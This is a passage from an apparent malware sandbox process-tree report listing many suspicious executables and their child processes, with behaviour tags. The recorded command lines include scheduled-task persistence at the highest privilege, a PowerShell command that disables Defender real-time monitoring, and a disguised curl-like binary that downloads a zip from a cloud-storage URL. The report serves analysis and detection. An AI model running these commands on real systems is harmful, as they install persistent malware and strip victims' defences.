    5fzscnissh1s.exe
    3⤵
    PID:11272
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:904
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff8164cc728,0x7ff8164cc734,0x7ff8164cc740
        5⤵
        
        PID:11876
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=2348,i,6725646670320453640,912752761711148349,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2376 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:9268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2348,i,6725646670320453640,912752761711148349,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2344 /prefetch:2
        5⤵
        
        PID:5632
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome904240893671" --force-high-res-timeticks=disabled --field-trial-handle=2348,i,6725646670320453640,912752761711148349,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2564 /prefetch:13
        5⤵
        
        PID:6000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new
      4⤵
      PID:6296
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6296240918765 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge6296240918765\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x25c,0x260,0x264,0x258,0x38c,0x7ff811d1c188,0x7ff811d1c194,0x7ff811d1c1a0
        5⤵
        
        PID:9852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2900 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:8908
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2544 /prefetch:2
        5⤵
        
        PID:9564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2904 /prefetch:13
        5⤵
        
        PID:5204
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3528 /prefetch:1
        5⤵
        
        PID:9476
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3576 /prefetch:1
        5⤵
        
        PID:13008
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3960 /prefetch:1
        5⤵
        
        PID:11352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3988 /prefetch:9
        5⤵
        
        PID:7928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3992 /prefetch:1
        5⤵
        
        PID:12220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4064 /prefetch:9
        5⤵
        
        PID:11436
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4276 /prefetch:1
        5⤵
        
        PID:7228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4604 /prefetch:9
        5⤵
        
        PID:7940
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4656 /prefetch:1
        5⤵
        
        PID:5032
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5412 /prefetch:9
        5⤵
        
        PID:11936
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4660 /prefetch:9
        5⤵
        
        PID:10608
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5656 /prefetch:9
        5⤵
        
        PID:8040
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3964 /prefetch:9
        5⤵
        
        PID:10708
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6016 /prefetch:9
        5⤵
        
        PID:5152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6040 /prefetch:9
        5⤵
        
        PID:11760
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6900 /prefetch:14
        5⤵
        
        PID:8832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4428 /prefetch:14
        5⤵
        
        PID:2612
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3720 /prefetch:1
        5⤵
        
        PID:9952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2548,i,15535704514979504187,12352915947151316211,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=4664 /prefetch:14
        5⤵
        
        PID:9660
- - C:\Windows\a\klr.exe
    klr.exe
    3⤵
    PID:10668
- - C:\Windows\a\file_3dfa6b71eb1f52a6.exe
    file_3dfa6b71eb1f52a6.exe
    3⤵
    PID:5224
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"' & exit
      4⤵
      Executes a command shell one-liner
      PID:10956
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp20FD.tmp.bat""
      4⤵
      Executes a command shell one-liner
      PID:13268
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:9708
    - - C:\Users\Admin\AppData\Roaming\vortex.exe
        
        "C:\Users\Admin\AppData\Roaming\vortex.exe"
        5⤵
        
        PID:13524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File file_7abbb1cadc4625ad.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:10508
- - C:\Windows\a\file_b82f2dba4422534f.exe
    file_b82f2dba4422534f.exe
    3⤵
    PID:6644
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i Zoom.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:10564
- - C:\Windows\a\file_ac12f1da1bdab1e0.exe
    file_ac12f1da1bdab1e0.exe
    3⤵
    PID:7008
- - C:\Windows\a\8.exe
    8.exe
    3⤵
    PID:11944
- - C:\Windows\a\file_a8b257b458693ac9.exe
    file_a8b257b458693ac9.exe
    3⤵
    PID:11664
  - - C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      4⤵
      PID:11156
- - C:\Windows\a\DragonBalls76Ace.exe
    DragonBalls76Ace.exe
    3⤵
    PID:7464
- - C:\Windows\SYSTEM32\msiexec.exe
    msiexec.exe /i vmware-setup.msi
    3⤵
    - Event Triggered Execution: Installer Packages
    PID:4156
- - C:\Windows\a\RoxanneIQ6.exe
    RoxanneIQ6.exe
    3⤵
    PID:2444
- - C:\Windows\a\JavaChecker.exe
    JavaChecker.exe
    3⤵
    PID:10444
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Windows\a\JavaChecker.exe" /sc onlogon /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:9568
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:9668
- - C:\Windows\a\ThornFlash3Client.exe
    ThornFlash3Client.exe
    3⤵
    PID:9976
- - C:\Windows\a\setup.exe
    setup.exe
    3⤵
    PID:12296
- - C:\Windows\a\kononiaZClient.exe
    kononiaZClient.exe
    3⤵
    PID:13176
- - C:\Windows\a\file_37b904483beaa60e.exe
    file_37b904483beaa60e.exe
    3⤵
    PID:236
- - C:\Windows\a\Ebu.exe
    Ebu.exe
    3⤵
    PID:8200
- - C:\Windows\a\EagleJetClient4.exe
    EagleJetClient4.exe
    3⤵
    PID:12200
- - C:\Windows\a\wrm.exe
    wrm.exe
    3⤵
    PID:13292
  - - C:\Windows\a\wrm.exe
      wrm.exe
      4⤵
      PID:6760
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        Executes a command shell one-liner
        
        PID:12144
- - C:\Windows\a\Client.exe
    Client.exe
    3⤵
    PID:5792
- - C:\Windows\a\php.exe
    php.exe
    3⤵
    PID:8184
- - C:\Windows\a\hilton.exe
    hilton.exe
    3⤵
    PID:1472
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x
      4⤵
      PID:7720
- - C:\Windows\a\acr-g1upd-639159296668701809.exe
    acr-g1upd-639159296668701809.exe
    3⤵
    PID:2352
- - C:\Windows\a\fdClient.exe
    fdClient.exe
    3⤵
    PID:11904
- - C:\Windows\a\TitanuimXross01.exe
    TitanuimXross01.exe
    3⤵
    PID:8848
- - C:\Windows\SYSTEM32\wscript.exe
    wscript.exe spx.vbs
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:9928
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys93756\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys93756\tmp370.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
      4⤵
      Executes a command shell one-liner
      PID:13356
    - - C:\Users\Public\Documents\Sys93756\msvcrt.dll
        
        C:\Users\Public\Documents\Sys93756\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys93756\tmp370.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip
        5⤵
        
        PID:8084
- - C:\Windows\a\EaglesTitan001.exe
    EaglesTitan001.exe
    3⤵
    PID:11984
- - C:\Windows\a\eagleClient004.exe
    eagleClient004.exe
    3⤵
    PID:5000
- - C:\Windows\a\1992.exe
    1992.exe
    3⤵
    PID:12720
- - C:\Windows\a\EagleWingsDNA04.exe
    EagleWingsDNA04.exe
    3⤵
    PID:14804
- - C:\Windows\a\install.exe
    install.exe
    3⤵
    PID:15288
- - C:\Windows\a\loader.exe
    loader.exe
    3⤵
    PID:13952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c color 0D
      4⤵
      Executes a command shell one-liner
      PID:14760
- - C:\Windows\a\finale.exe
    finale.exe
    3⤵
    PID:14056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:13508
- - C:\Windows\a\Isass.exe
    Isass.exe
    3⤵
    PID:14088
  - - C:\Windows\a\Isass.exe
      Isass.exe
      4⤵
      PID:11856
- - C:\Windows\a\Isass.exe
    Isass.exe
    3⤵
    PID:10412
  - - C:\Windows\a\Isass.exe
      Isass.exe
      4⤵
      PID:8424
- - C:\Windows\a\file_b584670f7ec2f317.exe
    file_b584670f7ec2f317.exe
    3⤵
    PID:11432
- - C:\Windows\a\Isass.exe
    Isass.exe
    3⤵
    PID:7600
  - - C:\Windows\a\Isass.exe
      Isass.exe
      4⤵
      PID:1456
- - C:\Windows\a\CFXBypass.exe
    CFXBypass.exe
    3⤵
    PID:14196
- - C:\Windows\a\file_a6357da6a05d7266.exe
    file_a6357da6a05d7266.exe
    3⤵
    PID:9976
- - C:\Windows\a\whatever.exe
    whatever.exe
    3⤵
    PID:10248
- - C:\Windows\a\21.exe
    21.exe
    3⤵
    PID:12372
  - - C:\Users\Admin\AppData\Local\Temp\is-PPXLC4UT5D.tmp\21.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-PPXLC4UT5D.tmp\21.tmp" /SL5="$401B0,2635737,876544,C:\Windows\a\21.exe"
      4⤵
      PID:13448
- - C:\Windows\a\sunwukongs.exe
    sunwukongs.exe
    3⤵
    PID:6000
- - C:\Windows\a\kikikmoralibrary.exe
    kikikmoralibrary.exe
    3⤵
    PID:7504
- - C:\Windows\a\MDClient.exe
    MDClient.exe
    3⤵
    PID:8964
- - C:\Windows\a\file_c0d2eb6a8b73120b.exe
    file_c0d2eb6a8b73120b.exe
    3⤵
    PID:8292
- - C:\Windows\a\vnc.exe
    vnc.exe
    3⤵
    PID:10512
- - C:\Windows\a\RedX_Setup.exe
    RedX_Setup.exe
    3⤵
    PID:13052
  - - C:\Windows\a\RedX_Setup.exe
      C:\Windows\a\RedX_Setup.exe
      4⤵
      PID:7196
- - C:\Windows\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:13996
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:9608
- - C:\Windows\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:6008
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:13824
- - C:\Windows\a\net_launcher.exe
    net_launcher.exe
    3⤵
    PID:16000
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe encrypted.hta
    3⤵
    PID:12560
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c WindowsLogonService.bat
    3⤵
    - Executes a command shell one-liner
    PID:13788

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:200
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A9201CAEC6FC6A647D45CB6F3DF098F7 C
  2⤵
  PID:7988
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF4A7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240783000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:7860
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 11C6496D567D0922B0AC1A9FBE446F0E C
  2⤵
  PID:8256
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EF4B9BF7E0C3DAE61333AFE55018F333 C
  2⤵
  PID:9048
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI67E3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240825703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:11124
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAF87.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240894625 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    PID:8900
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI52BD.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240939015 18 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    PID:6056
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 628513BC20165C41718F629D5004CDE2 C
  2⤵
  PID:3112
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICC45.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240919515 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:9512
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIC731.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240968984 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    PID:14276
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA6F3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241024421 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    PID:15988
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 55F66BF51FCC6BA2657FF626A9072B00 U
  2⤵
  PID:7756
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding CD50C8AEDD744786C9D4403832BDD27B C
  2⤵
  PID:7388
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI457D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240941390 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:12724
